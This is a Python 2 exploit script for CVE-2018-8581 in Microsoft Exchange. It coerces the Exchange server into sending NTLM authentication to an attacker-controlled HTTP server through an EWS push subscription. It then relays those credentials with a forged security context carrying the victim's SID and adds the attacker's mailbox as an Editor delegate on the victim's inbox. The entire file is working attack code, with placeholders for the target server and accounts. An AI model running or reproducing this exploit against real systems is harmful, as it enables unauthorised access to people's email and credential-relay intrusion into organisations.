#!/usr/bin/python
# -*- coding:utf-8 -*-
#
# CVE-2018-8581
# https://github.com/WyAtu/CVE-2018-8581
#

import re
import ssl
import httplib
from ntlm import ntlm
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

# print_debug_info == 1 --> show debug info, print_debug_info == 0 --> hide debug info
print_debug_info = 0

# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'

# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'

TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"

# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1

# Exchange server version 
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"

#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"

try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    pass
else:
    ssl._create_default_https_context = _create_unverified_https_context

URL = "/EWS/Exchange.asmx" 

def request_func(ip, port, proto, body):   
    if proto == 'https':
        conn = httplib.HTTPSConnection(ip, port)
    else:
        conn = httplib.HTTPConnection(ip, port)
    
    ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER)
    headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F"}
    
    conn.request("POST", URL, body, headers)
    response = conn.getresponse()
    resp_data = response.read()

    if response.status == 401:
            print "\t[*] Got 401 response with NTLM NONCE."
            print "\t[*] Trying authenticate current user..."
            Nonce = response.getheader("WWW-Authenticate")
            (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):])
            ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags)
            headers["Authorization"] = "NTLM " + ntlmresponce
            conn.request("POST", URL, body, headers)
            response = conn.getresponse()
            resp_data = response.read()
            if response.status != 401:
                    print "\t[+] Authentication and request sent successfully"
                    conn.close()
                    return resp_data
            conn.close()
            exit("\t[-] Authentication ERROR:\n\t[-] Cannot authenticate '%s/%s' with password '%s'"%(DOMAIN, USER, PASS))

def make_simple_add_body(exchange_version, target_email, controlled_email):
    body = '''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
   <soap:Header>
      <t:RequestServerVersion Version="%s" />
   </soap:Header> 
   <soap:Body>
   <m:AddDelegate>
    <m:Mailbox>
      <t:EmailAddress>%s</t:EmailAddress>
    </m:Mailbox>
    <m:DelegateUsers>
      <t:DelegateUser>
        <t:UserId>
          <t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
        </t:UserId>
        <t:DelegatePermissions>

          <t:InboxFolderPermissionLevel>None</t:InboxFolderPermissionLevel>

        </t:DelegatePermissions>
        <t:ReceiveCopiesOfMeetingMessages>false</t:ReceiveCopiesOfMeetingMessages>
        <t:ViewPrivateItems>false</t:ViewPrivateItems>
      </t:DelegateUser>
    </m:DelegateUsers>
    <m:DeliverMeetingRequests>DelegatesAndSendInformationToMe</m:DeliverMeetingRequests>
  </m:AddDelegate>
  </soap:Body>
</soap:Envelope>
    '''%(exchange_version, target_email, controlled_email)
    return body

def make_simple_remove_body(exchange_version, target_email, controlled_email):
    body = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <t:RequestServerVersion Version="%s" />
  </soap:Header>
  <soap:Body>
    <m:RemoveDelegate>
      <m:Mailbox>
        <t:EmailAddress>%s</t:EmailAddress>
      </m:Mailbox>
      <m:UserIds>
        <t:UserId>
          <t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
        </t:UserId>
      </m:UserIds>
    </m:RemoveDelegate>
  </soap:Body>
</soap:Envelope>
    '''%(exchange_version, target_email, controlled_email)
    return body

def make_pushsubscription_body(exchange_version):
    body = '''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
   <soap:Header>
      <t:RequestServerVersion Version="%s" />
   </soap:Header>
   <soap:Body >
      <m:Subscribe>
         <m:PushSubscriptionRequest SubscribeToAllFolders="true">

                 <t:EventTypes>
          <t:EventType>NewMailEvent</t:EventType>
          <t:EventType>ModifiedEvent</t:EventType>
          <t:EventType>MovedEvent</t:EventType>
        </t:EventTypes>
               <t:StatusFrequency>1</t:StatusFrequency>

               <t:URL>%s</t:URL>
         </m:PushSubscriptionRequest>
      </m:Subscribe>
   </soap:Body>
</soap:Envelope>
    '''%(exchange_version, EVIL_HTTPSERVER_URL)
    return body

def make_relay_body(exchange_version, target_email, controlled_email, sid):
    if FLAG == 1: body = '''<?xml version="1.0" encoding="utf-8"?>
  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
     <t:RequestServerVersion Version="%s" /> 
<m:SerializedSecurityContext>
<m:UserSid>%s</m:UserSid>
<m:GroupSids>
   <m:GroupIdentifier>
     <t:SecurityIdentifier>%s</t:SecurityIdentifier>
   </m:GroupIdentifier>
</m:GroupSids>
<RestrictedGroupSids>
<RestrictedGroupIdentifier></RestrictedGroupIdentifier>
</RestrictedGroupSids>
</m:SerializedSecurityContext>
</soap:Header>    
<soap:Body>
  <m:AddDelegate>
    <m:Mailbox>
      <t:EmailAddress>%s</t:EmailAddress>
    </m:Mailbox>
    <m:DelegateUsers>
      <t:DelegateUser>
        <t:UserId>
          <t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
        </t:UserId>
        <t:DelegatePermissions>
          <t:InboxFolderPermissionLevel>Editor</t:InboxFolderPermissionLevel>
        </t:DelegatePermissions>
        <t:ReceiveCopiesOfMeetingMessages>false</t:ReceiveCopiesOfMeetingMessages>
        <t:ViewPrivateItems>false</t:ViewPrivateItems>
      </t:DelegateUser>
    </m:DelegateUsers>
    <m:DeliverMeetingRequests>DelegatesAndSendInformationToMe</m:DeliverMeetingRequests>
  </m:AddDelegate>
</soap:Body>
</soap:Envelope>
    '''%(exchange_version, sid, sid, target_email, controlled_email)
    else : body = '''<?xml version="1.0" encoding="utf-8"?>
  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
     <t:RequestServerVersion Version="%s" />
     
<m:SerializedSecurityContext>
<m:UserSid>%s</m:UserSid>
<m:GroupSids>
   <m:GroupIdentifier>
     <t:SecurityIdentifier>%s</t:SecurityIdentifier>
   </m:GroupIdentifier>
</m:GroupSids>
   
<RestrictedGroupSids>
<RestrictedGroupIdentifier> </RestrictedGroupIdentifier>
</RestrictedGroupSids>
</m:SerializedSecurityContext>
</soap:Header>    
  <soap:Body>
    <m:RemoveDelegate>
      <m:Mailbox>
        <t:EmailAddress>%s</t:EmailAddress>
      </m:Mailbox>
      <m:UserIds>
        <t:UserId>
          <t:PrimarySmtpAddress>%s</t:PrimarySmtpAddress>
        </t:UserId>
      </m:UserIds>
    </m:RemoveDelegate>
  </soap:Body>
</soap:Envelope>
    '''%(exchange_version, sid, sid, target_email, controlled_email)
    return body
    
def get_sid(text):
    sid = email = ""
    sid_re = re.search('<t:SID>(.*?)</t:SID>', text, flags=re.I|re.M)
    if sid_re: sid = sid_re.group(1)
    email_re = re.search('<t:PrimarySmtpAddress>(.*?)</t:PrimarySmtpAddress>', text, flags=re.I|re.M)
    if email_re: email = email_re.group(1)
    return sid, email


def get_ntlm_challenge(ntlm_negotiate, body):
    headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
    conn.request("POST", URL, body, headers)
    response = conn.getresponse()
    resp_data = response.read()

    if print_debug_info:
        print "[DEBUG]: Received EWS response(get_ntlm_challenge):"
        print response.status, response.reason, '\n',response.msg, '\n', resp_data

    if response.status == 401:
        Nonce = response.getheader("WWW-Authenticate")
    return Nonce

def use_ntlm_auth(ntlm_auth, body):
    resp_data = ""
    headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
    conn.request("POST", URL, body, headers)
    response = conn.getresponse()
    resp_data = response.read()
    if print_debug_info:
        print "[DEBUG]: Received EWS response(use_ntlm_auth):"
        print response.status, response.reason, '\n',response.msg, '\n', resp_data
    return resp_data

class postHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        global step
        result = ""
        headers = self.headers
        authHeader = headers.getheader('Authorization')
        if not authHeader:
           self.send_response(401)
           self.send_header('WWW-Authenticate:', 'NTLM')
           self.end_headers()
           step = 1
        else:
            if step == 1:
                ntlm_negotiate = authHeader
                step = 2
                ntlm_challenge = get_ntlm_challenge(ntlm_negotiate, relay_body)
                self.send_response(401)
                self.send_header('WWW-Authenticate:', ntlm_challenge)
                self.end_headers()
            else:
                self.send_response(401)
                self.end_headers()
                ntlm_auth = authHeader

                if print_debug_info:
                    print "\n[DEBUG]: NTLM Auth string:"
                    print ntlm_auth

                result = use_ntlm_auth(ntlm_auth, relay_body)
                step = 3
                
        if FLAG == 1 and step == 3:
            if "ErrorDelegateAlreadyExists" in result:
                print '[+] Delegate Already Exists'
                return
            sid, email = get_sid(result)
            if sid == "":
                print '[-] Something error, can\'t add delegate'
                return
            print '[+] Delegate added'
            print "[+] Now you can use '%s' to view the inbox of '%s' on owa/outlook"%(CONTROLLED_EMAIL, TARGET_EMAIL)
        elif FLAG == 0 and step == 3:
            if 'ErrorNotDelegate' in result:
                print "[*] The TARGET_EMAIL '%s' is not delegated by '%s'"%(TARGET_EMAIL, CONTROLLED_EMAIL)
                return
            if 'ErrorNonExistentMailbox' in result:
                print "[-] The TARGET_EMAIL '%s' may not be enabled"%(TARGET_EMAIL)
                return
            if 'ErrorAccessDenied' in result or 'ErrorItemNotFound' in result:
                print "[-] Access denied"
                return
            if "NoError" in result:
                print "[+] Delegate removed"
                return
            print "[-] Something error, can't remove delegate"
        else:
            pass
        return
            
if __name__ == "__main__":
    print "[*] Exchange Server Address: %s:%d" %(PROTO + '://' + IP, PORT)

    print "[*] Sending 'AddDelegate' EWS request to get the sid of the TARGET_EMAIL '%s'..."%(TARGET_EMAIL)
    add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
    result = request_func(IP, PORT, PROTO, add_body)

    remove_body = make_simple_remove_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)

    if 'ErrorDelegateAlreadyExists' in result:
        print '[-] Delegate Already Exists'
        print '[*] Now try to remove the delegate'
        result = request_func(IP, PORT, PROTO, remove_body)
        print "[*] Now try to get the sid of the TARGET_EMAIL '%s' again..."%(TARGET_EMAIL)
        add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL)
        result = request_func(IP, PORT, PROTO, add_body)
    
    sid, email = get_sid(result)
    if sid == "":
        exit("[-] Something error, can't get the sid of the TARGET_EMAIL '%s', plz confirm the config"%(TARGET_EMAIL))
    print "[+] Got the sid of '%s': %s"%(email, sid)

    print "[*] Sending 'RemoveDelegate' EWS request..."
    result = request_func(IP, PORT, PROTO, remove_body)
    if 'ErrorNotDelegate' in result or 'ErrorItemNotFound' in result:
        exit("[-] Delegate not removed")
    print "[+] Delegate removed"
    push_body = make_pushsubscription_body(EXCHANGE_VERSION)
    print "[*] Sending 'PushSubscription' EWS request..."
    result = request_func(IP, PORT, PROTO, push_body)
    if 'NoError' not in result:
        exit("[-] Sending 'PushSubscription' EWS request failed")
    print "[+] Sending 'PushSubscription' EWS request successfully"
    print "[*] Now start to relay NTLM..."
    
    if PROTO=='https':
        conn = httplib.HTTPSConnection(IP, PORT)
    else:
        conn = httplib.HTTPConnection(IP, PORT)
    
    relay_body = make_relay_body(EXCHANGE_VERSION, TARGET_EMAIL, CONTROLLED_EMAIL, sid)

    step=1
    try:
        server = HTTPServer(('', HTTPPORT), postHandler)
        print '[*] Started httpserver on port', HTTPPORT
        print '[*] Start to %s delegate, Plz wait...'%('add' if FLAG == 1 else 'remove')
        
        while not(step == 3):
            server.handle_request()

    except KeyboardInterrupt:
        print '[-]^C received, shutting down the web server'
        server.socket.close()
